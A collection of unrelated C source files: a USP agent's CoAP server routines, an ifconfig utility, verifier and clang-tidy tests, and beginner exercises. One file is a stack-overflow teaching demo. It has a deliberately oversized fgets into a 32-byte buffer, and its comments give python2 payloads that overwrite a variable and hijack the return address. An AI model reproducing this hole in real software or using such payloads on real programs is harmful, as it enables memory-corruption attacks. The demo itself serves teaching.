// Exit if the number of this block is later than we're expecting
// NOTE: This should never happen, because the client should not send the next block until we've acknowledged the current
if (pp->rxed_block > css->block_count)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has later block number than expected (block=%d, expected=%d)", __FUNCTION__, pp->message_id, pp->rxed_block, css->block_count);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Copy this block to the end of the USP record buffer
temp_flags = AppendCoapPayload(css, pp);
if (temp_flags != COAP_NO_ERROR)
{
return temp_flags;
}
LogRxedCoapPdu(pp);
// If there are more blocks, then the USP record is not complete yet
if (pp->is_more_blocks == 1)
{
action_flags &= (~USP_RECORD_COMPLETE);
}
return action_flags;
}
/*********************************************************************//**
**
** AppendCoapPayload
**
** Appends the specified payload to the buffer in which we are building up the received USP record
**
** \param cs - pointer to CoAP session which received the payload we're appending
** \param pp - pointer to structure in which the parsed CoAP PDU is stored
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned AppendCoapPayload(coap_server_session_t *css, parsed_pdu_t *pp)
{
int new_len;
// Exit if the new size is greater than we allow
new_len = css->usp_buf_len + pp->payload_len;
if (new_len > MAX_USP_MSG_LEN)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) makes received USP record size too large (total_size=%u)", __FUNCTION__, pp->message_id, new_len);
return SEND_ACK | INDICATE_TOO_LARGE;
}
// Increase the size of the USP record buffer
css->usp_buf = USP_REALLOC(css->usp_buf, new_len);
// Append the payload to the end of the USP record buffer
memcpy(&css->usp_buf[css->usp_buf_len], pp->payload, pp->payload_len);
css->usp_buf_len = new_len;
css->block_count++;
return COAP_NO_ERROR;
}
/*********************************************************************//**
**
** IsReplyToValid
**
** Validates that the host in the URI query Option's 'reply-to' matches the
** IP address of the USP controller that sent the message (containing the 'reply-to')
** This is necessary to prevent an errant USP controller using an Agent to perform a DoS attack
**
** \param css - pointer to CoAP session which received the payload we're appending
** \param pp - pointer to parsed CoAP PDU
**
** \return true if the host in the 'reply-to' is valid
**
**************************************************************************/
bool IsReplyToValid(coap_server_session_t *css, parsed_pdu_t *pp)
{
int err;
nu_ipaddr_t reply_addr;
nu_ipaddr_t interface_addr;
bool prefer_ipv6;
char buf[NU_IPADDRSTRLEN];
char host[MAX_COAP_URI_QUERY];
// Percent decode the received host name
USP_STRNCPY(host, pp->mtp_reply_to.coap_host, sizeof(host));
TEXT_UTILS_PercentDecodeString(host);
// Attempt to interpret the host as an IP literal address (ie no DNS lookup required)
err = nu_ipaddr_from_str(host, &reply_addr);
// If this fails, then assume that host is a DNS hostname
if (err != USP_ERR_OK)
{
// Get the preference for IPv4 or IPv6, if dual stack
prefer_ipv6 = DEVICE_LOCAL_AGENT_GetDualStackPreference();
// Determine address of interface that the packet was received on
// We want to lookup a hostname on the same IPv4 or IPv6 protocol
// NOTE: We lookup css->peer_addr, rather than use cs->listen_addr directly, because we might be listening on "any"
// (in which case listen_addr does not contain the IP address of the interface which received the packet)
err = nu_ipaddr_get_interface_addr_from_dest_addr(&css->peer_addr, &interface_addr);
if (err != USP_ERR_OK)
{
return false;
}
// Exit if unable to lookup hostname
err = tw_ulib_diags_lookup_host(host, AF_UNSPEC, prefer_ipv6, &interface_addr, &reply_addr);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Ignoring USP message. Unable to lookup Host address in URI Query option (%s)", __FUNCTION__, host);
return false;
}
}
// Exit if the address given in the reply-to does not match the address of the USP controller
// that sent the message containing the reply-to
if (memcmp(&reply_addr, &css->peer_addr, sizeof(nu_ipaddr_t)) != 0)
{
USP_LOG_Error("%s: Ignoring USP message. Host address in URI Query option (%s) does not match sender (%s)", __FUNCTION__, host, nu_ipaddr_str(&css->peer_addr, buf, sizeof(buf)) );
return false;
}
// If the code gets here, then the host specified in the reply-to matches that expected
return true;
}
/*********************************************************************//**
**
** SendCoapRstFromServer
**
** Sends a CoAP RST from our CoAP server
**
** \param css - pointer to structure describing the CoAP session which is sending this RST
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int SendCoapRstFromServer(coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
int err;
// Exit if unable to create the CoAP PDU to send
// NOTE: CoAP servers always echo the message_id of the received PDU
len = COAP_WriteRst(pp->message_id, pp->token, pp->token_size, buf, sizeof(buf));
USP_ASSERT(len != 0);
// Exit if unable to send the CoAP RST packet
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, buf, len);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Failed to send RST", __FUNCTION__);
return err;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** SendCoapAck
**
** Creates and sends a CoAP ACK message to the specified Coap endpoint
**
** \param css - pointer to CoAP server session which received the message we are acknowledging
** \param pp - pointer to structure containing block option to include in ACK
** \param action_flags - Determines whether an error is returned in the ACK
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int SendCoapAck(coap_server_session_t *css, parsed_pdu_t *pp, unsigned action_flags)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
int err;
// Create an ACK, to respond to the packet
len = WriteCoapAck(buf, sizeof(buf), pp, action_flags);
USP_ASSERT(len != 0);
// Save this response, so that we can send it again, if we receive the same message_id again
SaveLastResponsePdu(&css->last_response, pp->message_id, buf, len);
// Exit if unable to send the CoAP ACK packet
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, buf, len);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Failed to send ACK", __FUNCTION__);
return err;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** WriteCoapAck
**
** Writes a CoAP PDU containing an ACK
**
** \param buf - pointer to buffer in which to write the CoAP PDU
** \param len - length of buffer in which to write the CoAP PDU
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
** \param action_flags - Determines whether an error is returned in the ACK
**
** \return Number of bytes written to the CoAP PDU buffer
**
**************************************************************************/
int WriteCoapAck(unsigned char *buf, int len, parsed_pdu_t *pp, unsigned action_flags)
{
unsigned header = 0;
unsigned char *p;
unsigned char option_buf[4];
int option_len;
pdu_option_t last_option;
int pdu_class;
int response_code;
int preferred_block_size;
// Determine the class and response code to put in this PDU
CalcCoapClassForAck(pp, action_flags, &pdu_class, &response_code);
// Calculate the header bytes
// NOTE: We use the parsed message_id, since we need to send the ACK based on the PDU we received rather than that which we expected to receive
MODIFY_BITS(31, 30, header, COAP_VERSION);
MODIFY_BITS(29, 28, header, kPduType_Acknowledgement);
MODIFY_BITS(27, 24, header, pp->token_size);
MODIFY_BITS(23, 21, header, pdu_class);
MODIFY_BITS(20, 16, header, response_code);
MODIFY_BITS(15, 0, header, pp->message_id);
// Write the CoAP header bytes and token into the output buffer
// NOTE: We use the parsed token, since we need to send the ACK based on the PDU we received rather than that which we expected to receive
p = buf;
WRITE_4_BYTES(p, header);
memcpy(p, pp->token, pp->token_size);
p += pp->token_size;
last_option = kPduOption_Zero;
// Exit if an error or resource discovery response needs to be sent
if (action_flags & (INDICATE_ERR_IN_ACK | INDICATE_WELL_KNOWN))
{
if (action_flags & INDICATE_WELL_KNOWN)
{
option_buf[0] = kPduContentFormat_LinkFormat;
p = COAP_WriteOption(kPduOption_ContentFormat, option_buf, 1, p, &last_option);
}
WRITE_BYTE(p, PDU_OPTION_END_MARKER);
// Copy the textual reason for failure into the payload of the ACK
len = strlen(COAP_GetErrMessage());
memcpy(p, COAP_GetErrMessage(), len);
p += len;
goto exit;
}
// Add the block option, if it was present in the PDU we're acknowledging, and we want the next block
// NOTE: Do not put the block option in the ACK unless you want another block to be sent (ie It is not present in the last ACK of a sequence of blocks)
if ((pp->options_present & BLOCK1_PRESENT) && (pp->is_more_blocks))
{
preferred_block_size = MIN(COAP_CLIENT_PAYLOAD_RX_SIZE, pp->block_size);
option_len = COAP_CalcBlockOption(option_buf, pp->rxed_block, pp->is_more_blocks, preferred_block_size);
p = COAP_WriteOption(kPduOption_Block1, option_buf, option_len, p, &last_option);
}
// Add the size option (to indicate to the sender the maximum size of USP record we accept)
if (action_flags & INDICATE_TOO_LARGE)
{
STORE_4_BYTES(option_buf, MAX_USP_MSG_LEN);
p = COAP_WriteOption(kPduOption_Size1, option_buf, 4, p, &last_option);
}
// NOTE: Not adding an end of options marker, because no payload follows
exit:
// Log what will be sent
if (pp->options_present & BLOCK1_PRESENT)
{
char *last_block_str = (pp->is_more_blocks == 0) ? " (last)" : "";
USP_PROTOCOL("%s: Sending CoAP ACK (MID=%d) for block=%d%s. Response code=%d.%02d", __FUNCTION__, pp->message_id, pp->rxed_block, last_block_str, pdu_class, response_code);
}
else
{
USP_PROTOCOL("%s: Sending CoAP ACK (MID=%d). Response code=%d.%02d", __FUNCTION__, pp->message_id, pdu_class, response_code);
}
// Return the number of bytes written to the output buffer
return p - buf;
}
/*********************************************************************//**
**
** CalcCoapClassForAck
**
** Calculate the class and response code for the CoAP header of the ACK message
**
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
** \param action_flags - Determines whether an error is returned in the ACK
** \param pdu_class - pointer to variable in which to return the class to put in the ACK
** \param response_code - pointer to variable in which to return the response code to put in the ACK
**
** \return Nothing
**
**************************************************************************/
void CalcCoapClassForAck(parsed_pdu_t *pp, unsigned action_flags, int *pdu_class, int *response_code)
{
// Determine class of the ACK message
if (action_flags & INDICATE_ERR_IN_ACK)
{
*pdu_class = kPduClass_ClientErrorResponse;
}
else
{
*pdu_class = kPduClass_SuccessResponse;
}
// Determine response code of the ACK message
if (action_flags & INDICATE_BAD_REQUEST)
{
*response_code = kPduClientErrRespCode_BadRequest;
}
else if (action_flags & INDICATE_BAD_OPTION)
{
*response_code = kPduClientErrRespCode_BadOption;
}
else if (action_flags & INDICATE_NOT_FOUND)
{
*response_code = kPduClientErrRespCode_NotFound;
}
else if (action_flags & INDICATE_BAD_METHOD)
{
*response_code = kPduClientErrRespCode_MethodNotAllowed;
}
else if (action_flags & INDICATE_INCOMPLETE)
{
*response_code = kPduClientErrRespCode_RequestEntityIncomplete;
}
else if (action_flags & INDICATE_TOO_LARGE)
{
*response_code = kPduClientErrRespCode_RequestEntityTooLarge;
}
else if (action_flags & INDICATE_BAD_CONTENT)
{
*response_code = kPduClientErrRespCode_UnsupportedContentFormat;
}
else if (action_flags & INDICATE_WELL_KNOWN)
{
*response_code = kPduSuccessRespCode_Content;
}
else if (action_flags & USP_RECORD_COMPLETE)
{
*response_code = kPduSuccessRespCode_Changed;
}
else if (pp->options_present & BLOCK1_PRESENT)
{
*response_code = kPduSuccessRespCode_Continue;
}
else
{
// For non USP record packets
*response_code = kPduSuccessRespCode_Content;
}
}
/*********************************************************************//**
**
** SaveLastResponsePdu
**
** Saves the response PDU being sent out for the specified message_id
**
** \param last_resp - pointer to structure containing the last response
** \param message_id - message_id of the message that this is the response to
** \param buf - pointer to buffer containing the response PDU
** \param len - length of buffer containing the response PDU
**
** \return None
**
**************************************************************************/
void SaveLastResponsePdu(pdu_response_t *last_resp, int message_id, unsigned char *buf, int len)
{
// Free the last PDU
USP_SAFE_FREE(last_resp->pdu_data);
// Before replacing it with this new one
last_resp->pdu_data = USP_MALLOC(len);
memcpy(last_resp->pdu_data, buf, len);
last_resp->message_id = message_id;
last_resp->len = len;
}
/*********************************************************************//**
**
** FindUnusedCoapServer
**
** Finds an unused CoAP server slot
**
** \param None
**
** \return pointer to free CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindUnusedCoapServer(void)
{
int i;
coap_server_t *cs;
// Iterte over all CoAP servers, trying to find a free slot
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance == INVALID)
{
return cs;
}
}
// If the code gets here, then no free CoAP servers were found
return NULL;
}
/*********************************************************************//**
**
** FindCoapServerByInstance
**
** Finds the coap server entry with the specified instance number (from Device.LocalAgent.MTP.{i})
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on. NULL indicates just find the first
**
** \return pointer to matching CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindCoapServerByInstance(int instance, char *interface)
{
int i;
coap_server_t *cs;
// Iterate over all CoAP servers, trying to find a matching slot
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance == instance)
{
if ((interface==NULL) || (strcmp(cs->interface, interface)==0))
{
return cs;
}
}
}
// If the code gets here, then no matching CoAP servers were found
return NULL;
}
/*********************************************************************//**
**
** FindFirstCoapServerByInterface
**
** Finds the first coap server listening on the specified interface
** NOTE: There may be more than one coap server on the specified interface - just listening on a different port
** In this case, we return the first one
**
** \param interface - Name of network interface to listen on. NULL indicates just find the first
** \parm encryption_preference - set if we are sending to the USP Controller using encryption
** (in which case we try to find a server that the USP Controller can reply to, which is also encrypted)
**
** \return pointer to matching CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindFirstCoapServerByInterface(char *interface, bool encryption_preference)
{
int i;
coap_server_t *cs;
coap_server_t *first_match = NULL;
coap_server_t *any_match = NULL;
// Iterate over all CoAP servers, trying to find a slot that matches both interface and encryption preference
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, interface)==0))
{
if (cs->enable_encryption==encryption_preference)
{
return cs;
}
// If encryption preference was not met, but interface was, take note of this CoAP server as a fallback
if (first_match == NULL)
{
first_match = cs;
}
}
}
// If the code gets here, then no perfectly matching CoAP server was found
// However there might be a server listening on all network interfaces which matches the encryption preference
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, "any")==0))
{
if (cs->enable_encryption==encryption_preference)
{
return cs;
}
// If encryption preference was not met, take note of this CoAP server as a fallback
if (any_match == NULL)
{
any_match = cs;
}
}
}
// If the code gets here, then there was no server which matched the encryption preference
// So return the first server that matches just by interface
if (first_match != NULL)
{
return first_match;
}
if (any_match != NULL)
{
return any_match;
}
// If the code gets here, then there is no CoAP server which listens on the interface
return NULL;
}
/*********************************************************************//**
**
** CalcCoapServerCookie
**
** Called by OpenSSL to generate a cookie for a given peer
** The cookie is generated according to RFC 4347: Cookie = HMAC(Secret, Client-IP, Client-Parameters)
**
** \param ssl - pointer to SSL object, ultimately specifying the peer
** \param buf - pointer to buffer in which to return the cookie
** \param p_len - pointer to variable in which to return the length of the cookie
**
** \return 1 if successful, 0 otherwise
**
**************************************************************************/
int CalcCoapServerCookie(SSL *ssl, unsigned char *buf, unsigned int *p_len)
{
struct sockaddr_storage peer;
unsigned char *result;
int err;
// Exit if unable to extract peer IP address and port
memset(&peer, 0, sizeof(peer));
err = BIO_dgram_get_peer(SSL_get_rbio(ssl), &peer);
if (err <= 0)
{
USP_LOG_Error("%s: BIO_dgram_get_peer() failed", __FUNCTION__);
return 0;
}
// Exit if unable to calculate HMAC of peer address and port using our secret hmac key
result = HMAC( EVP_sha1(),
(const void*) coap_hmac_key, sizeof(coap_hmac_key),
(const unsigned char*) &peer, sizeof(peer),
buf, p_len);
if (result == NULL)
{
USP_LOG_Error("%s: HMAC() failed", __FUNCTION__);
return 0;
}
return 1;
}
/*********************************************************************//**
**
** VerifyCoapServerCookie
**
** Called by OpenSSL to verify that the cookie being returned by the peer matches the one sent to it
** The cookie is generated according to RFC 4347: Cookie = HMAC(Secret, Client-IP, Client-Parameters)
**
** \param cc - pointer to structure describing coap client to update
** \param buf - pointer to buffer containing cookie returned by peer
** \param len - length of buffer containing cookie returned by peer
**
** \return 1 if cookie is correct, 0 if cookie is incorrect
**
**************************************************************************/
int VerifyCoapServerCookie(SSL *ssl, SSL_CONST unsigned char *buf, unsigned int len)
{
unsigned char expected[EVP_MAX_MD_SIZE];
unsigned int expected_len;
int err;
// Exit if unable to calculate the cookie that we sent to the peer
expected_len = sizeof(expected); // I don't think that this is necessary
err = CalcCoapServerCookie(ssl, expected, &expected_len);
if (err != 1)
{
USP_LOG_Error("%s: CalcCoapServerCookie() failed", __FUNCTION__);
return 0;
}
// Exit if the received cookie did not match the one sent
if ((len != expected_len) || (memcmp(buf, expected, len) != 0))
{
USP_LOG_Error("%s: Received DTLS cookie did not match that sent", __FUNCTION__);
return 0;
}
// If the code gets here, then the received cookie is correct
return 1;
}
/*********************************************************************//**
**
** CalcUriQueryOption
**
** Calculates the value of the URI Query option for the specified coap client
**
** \param socket_fd - connected socket which the CoAP client is using to send to the USP Controller
** \parm encryption_preference - set if we are sending to the USP Controller using encryption
** (in which case we try to find a server that the USP Controller can reply to, which is also encrypted)
** \param buf - buffer in which to return the URI query option
** \param len - length of buffer in which to return the URI query option
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int CalcUriQueryOption(int socket_fd, bool encryption_preference, char *buf, int len)
{
int err;
char src_addr[NU_IPADDRSTRLEN];
char interface[IFNAMSIZ];
coap_server_t *cs;
char *protocol;
char resource_name[MAX_DM_SHORT_VALUE_LEN];
// Exit if unable to determine the source IP address of the client socket
USP_ASSERT(socket_fd != INVALID);
err = nu_ipaddr_get_interface_addr_from_sock_fd(socket_fd, src_addr, sizeof(src_addr));
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_get_interface_addr_from_sock_fd() failed", __FUNCTION__);
return err;
}
// Exit if unable to determine the network interface used by the client socket
err = nu_ipaddr_get_interface_name_from_src_addr(src_addr, interface, sizeof(interface));
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_get_interface_name_from_src_addr(%s) failed", __FUNCTION__, src_addr);
return err;
}
// Exit if we don't have any coap servers listening on the interface (that our coap client is sending on)
cs = FindFirstCoapServerByInterface(interface, encryption_preference);
if (cs == NULL)
{
USP_LOG_Error("%s: No CoAP servers listening on interface=%s", __FUNCTION__, interface);
return USP_ERR_INTERNAL_ERROR;
}
// Percent encode our resource name
TEXT_UTILS_PercentEncodeString(cs->listen_resource, resource_name, sizeof(resource_name), '/');
// Fill in the URI query option. This specifies where the USP controller should send responses to
// NOTE: We use src_addr instead of cs->listen_addr in the reply-to because our CoAP server might be listening on "any" interface
protocol = (cs->enable_encryption) ? "coaps" : "coap";
USP_SNPRINTF(buf, len, "reply-to=%s://%s:%d/%s", protocol, src_addr, cs->listen_port, resource_name);
return USP_ERR_OK;
}
/*********************************************************************//**
**
** LogRxedCoapPdu
**
** Logs the CoAP PDU that has been received
**
** \param pp - pointer to parsed CoAP PDU
**
** \return None
**
**************************************************************************/
void LogRxedCoapPdu(parsed_pdu_t *pp)
{
if (pp->options_present & BLOCK1_PRESENT)
{
char *last_block_str = (pp->is_more_blocks == 0) ? " (last)" : "";
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) block=%d%s (%d bytes)", __FUNCTION__, pp->message_id, pp->rxed_block, last_block_str, pp->payload_len);
}
else
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) (%d bytes)", __FUNCTION__, pp->message_id, pp->payload_len);
}
}
/*********************************************************************//**
**
** UpdateCoapServerInterfaces
**
** Called to determine whether the IP address used for any of our CoAP servers has changed
** NOTE: This function only checks the IP address periodically
**
** \param None
**
** \return Number of seconds remaining until next time to poll the interfaces for IP address change
**
**************************************************************************/
int UpdateCoapServerInterfaces(void)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
bool has_changed;
time_t cur_time;
int timeout;
static bool is_first_time = true; // The first time this function is called, it just sets up the IP address and next_coap_server_if_poll_time
bool has_addr = false;
// Exit if it's not yet time to poll the network interface addresses
cur_time = time(NULL);
if (is_first_time == false)
{
timeout = next_coap_server_if_poll_time - cur_time;
if (timeout > 0)
{
goto exit;
}
}
// Iterate over all CoAP servers that are attached to a single network interface
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if ((cs->instance != INVALID) && (strcmp(cs->interface, "any") != 0))
{
has_changed = nu_ipaddr_has_interface_addr_changed(cs->interface, cs->listen_addr, &has_addr);
if ((has_changed) && (has_addr))
{
USP_LOG_Error("%s: Restarting CoAP server on interface=%s after IP address change", __FUNCTION__, cs->interface);
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
StopCoapSession(css);
}
// Attempt to restart CoAP listening socket for this server
close(cs->listen_sock);
cs->listen_sock = INVALID;
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
}
}
}
// Set next time to poll for IP address change
#define COAP_SERVER_IP_ADDR_POLL_PERIOD 5
timeout = COAP_SERVER_IP_ADDR_POLL_PERIOD;
next_coap_server_if_poll_time = cur_time + timeout;
is_first_time = false;
exit:
return timeout;
}
#endif // ENABLE_COAP
|
the_stack_data/815673.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define N 75
int main ( ) {
int a[N];
int i = 0;
while ( i < N ) {
a[i] = 42;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 43;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 44;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 45;
i = i + 1;
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( a[x] == 45 );
}
return 0;
}
|
the_stack_data/721697.c |
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <arpa/inet.h>
static void die(const char *s)
{
fprintf(stderr,"error: %s (%s)\n", s, strerror(errno));
exit(-1);
}
static void setflags(int s, struct ifreq *ifr, int set, int clr)
{
if(ioctl(s, SIOCGIFFLAGS, ifr) < 0) die("SIOCGIFFLAGS");
ifr->ifr_flags = (ifr->ifr_flags & (~clr)) | set;
if(ioctl(s, SIOCSIFFLAGS, ifr) < 0) die("SIOCSIFFLAGS");
}
static inline void init_sockaddr_in(struct sockaddr_in *sin, const char *addr)
{
sin->sin_family = AF_INET;
sin->sin_port = 0;
sin->sin_addr.s_addr = inet_addr(addr);
}
static void setnetmask(int s, struct ifreq *ifr, const char *addr)
{
init_sockaddr_in((struct sockaddr_in *) &ifr->ifr_netmask, addr);
if(ioctl(s, SIOCSIFNETMASK, ifr) < 0) die("SIOCSIFNETMASK");
}
static void setaddr(int s, struct ifreq *ifr, const char *addr)
{
init_sockaddr_in((struct sockaddr_in *) &ifr->ifr_addr, addr);
if(ioctl(s, SIOCSIFADDR, ifr) < 0) die("SIOCSIFADDR");
}
int ifconfig_main(int argc, char *argv[])
{
struct ifreq ifr;
int s;
unsigned int addr, mask, flags;
char astring[20];
char mstring[20];
char *updown, *brdcst, *loopbk, *ppp, *running, *multi;
argc--;
argv++;
if(argc == 0) return 0;
memset(&ifr, 0, sizeof(struct ifreq));
strncpy(ifr.ifr_name, argv[0], IFNAMSIZ);
ifr.ifr_name[IFNAMSIZ-1] = 0;
argc--, argv++;
if((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
die("cannot open control socket\n");
}
if (argc == 0) {
if (ioctl(s, SIOCGIFADDR, &ifr) < 0) {
perror(ifr.ifr_name);
return -1;
} else
addr = ((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr.s_addr;
if (ioctl(s, SIOCGIFNETMASK, &ifr) < 0) {
perror(ifr.ifr_name);
return -1;
} else
mask = ((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr.s_addr;
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) {
perror(ifr.ifr_name);
return -1;
} else
flags = ifr.ifr_flags;
sprintf(astring, "%d.%d.%d.%d",
addr & 0xff,
((addr >> 8) & 0xff),
((addr >> 16) & 0xff),
((addr >> 24) & 0xff));
sprintf(mstring, "%d.%d.%d.%d",
mask & 0xff,
((mask >> 8) & 0xff),
((mask >> 16) & 0xff),
((mask >> 24) & 0xff));
printf("%s: ip %s mask %s flags [", ifr.ifr_name,
astring,
mstring
);
updown = (flags & IFF_UP) ? "up" : "down";
brdcst = (flags & IFF_BROADCAST) ? " broadcast" : "";
loopbk = (flags & IFF_LOOPBACK) ? " loopback" : "";
ppp = (flags & IFF_POINTOPOINT) ? " point-to-point" : "";
running = (flags & IFF_RUNNING) ? " running" : "";
multi = (flags & IFF_MULTICAST) ? " multicast" : "";
printf("%s%s%s%s%s%s]\n", updown, brdcst, loopbk, ppp, running, multi);
/* char *updown, *brdcst, *loopbk, *ppp, *running, *multi; */
return 0;
}
while(argc > 0){
if(!strcmp(argv[0], "up")) {
setflags(s, &ifr, IFF_UP, 0);
} else if(!strcmp(argv[0], "down")) {
setflags(s, &ifr, 0, IFF_UP);
} else if(!strcmp(argv[0], "netmask")) {
argc--, argv++;
if (0 == argc) {
errno = EINVAL;
die("expecting an IP address for parameter \"netmask\"");
}
setnetmask(s, &ifr, argv[0]);
} else if(isdigit(argv[0][0])){
setaddr(s, &ifr, argv[0]);
}
argc--, argv++;
}
return 0;
}
|
the_stack_data/154831988.c | /*
* MIT License
*
* Copyright (c) 2018 Kalate Hexanome, 4IF, INSA Lyon
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/*
* Multi-line comment.
*/
#include <stdio.h>
#include <stdint.h>
int32_t main() {
int32_t c = getchar();
c = c + 5;
putchar(c);
putchar('\n');
return 0;
}
|
the_stack_data/95450325.c | /*
5. Ler a altura e a base de um triângulo e calcular sua área. A fórmula de área de um triângulo é A = (base*altura)/2.
solucao em:
https://repl.it/@ViniciusB1/LDA-AT1-ex05#main.c
*/
/*
planejamento:
declarar as duas variaveis para as dimensoes altura e base e uma para a area
leitura das dimensoes
calculo da area pela formula A = (base*altura)/2
exibicao da area
*/
#include <stdio.h>
int main(void)
{
float base, altura, area;
printf ("Informe a altura do triango: ");
scanf ("%f", &altura);
printf ("Informe a base do triango: ");
scanf ("%f", &base);
area = (base*altura)/2;
printf ("Area do triangulo de base %.2f e altura %.2f = %.2f unid²", base, altura, area);
return 0;
} |
the_stack_data/18887819.c | #include <stdio.h>
void imprime(int n)
{
int i;
for(i=0; i<=n; i++){
printf("Linha %d \\n",i);
}
}
int main (){
imprime(5); //função do tipo void não tem returno.
return 0;
} |
the_stack_data/247019423.c | // RUN: %check_clang_tidy %s readability-isolate-declaration %t
void c_specific() {
void (*signal(int sig, void (*func)(int)))(int);
int i = sizeof(struct S { int i; });
int j = sizeof(struct T { int i; }), k;
// CHECK-MESSAGES: [[@LINE-1]]:3: warning: multiple declarations in a single statement reduces readability
// CHECK-FIXES: int j = sizeof(struct T { int i; });
// CHECK-FIXES: {{^ }}int k;
void g(struct U { int i; } s); // One decl
void h(struct V { int i; } s), m(int i, ...); // Two decls
}
|
the_stack_data/17252.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
void secret(int a) {
printf("Gotcha\n");
if (a == 0x12345678) {
printf("Super secret\n");
}
}
void bye() {
exit(0);
}
/*
* overwrite a:
* (0x2c - 0x08) random characters (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
* efcdab00 (a's value in little endian format)
* python2 -c 'print "A" * (0x2c - 0x8) + "\xef\xcd\xab\x00"' | ./demo
*/
/*
* overwrite a + call secret:
* (0x2c - 0x08) random characters (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
* efcdab00 (a's value in little endian format)
* [ebp - 0x4, ebp + 0x4) = 8 bytes of random characters
* return address (with objdump or nm => 08049216)
* python2 -c 'print "A" * (0x2c - 0x8) + "\xef\xcd\xab\x00" + "B" * 8 + "\x43\x43\x43\x43"' | ./demo
* python2 -c 'print "A" * (0x2c - 0x8) + "\xef\xcd\xab\x00" + "B" * 8 + "\x16\x92\x04\x08"' | ./demo
*/
/*
* python2 -c 'print "A" * (0x2c - 0x8) + "\xef\xcd\xab\x00" + "B" * 8 + "\x16\x92\x04\x08" + "\x43\x92\x04\x08"' | ./demo
* python2 -c 'print "A" * (0x2c - 0x8) + "\xef\xcd\xab\x00" + "B" * 8 + "\x16\x92\x04\x08" + "\x43\x92\x04\x08" + "\x78\x56\x34\x12"' | ./demo
*/
/*
* dmesg | tail -n 2
*/
int main(void)
{
// [ebp - 0x8, ebp - 0x4)
unsigned int a = 1;
// ebp - 0x2c
char buffer[32];
size_t i, len;
printf("insert buffer string:\n");
fgets(buffer, 64, stdin);
printf("buffer is:\n");
len = strlen(buffer);
for (i = 0; i < len; i++)
printf(" %02hhx(%c)", buffer[i], buffer[i]);
puts("");
if (a == 0x00abcdef)
printf("Full of win!\n");
else
printf("Not quite there. Try again!\n");
return 0;
}
|
the_stack_data/496332.c | /* Test for restrict: in C99 only. Test handling of arrays of restricted
pointers. */
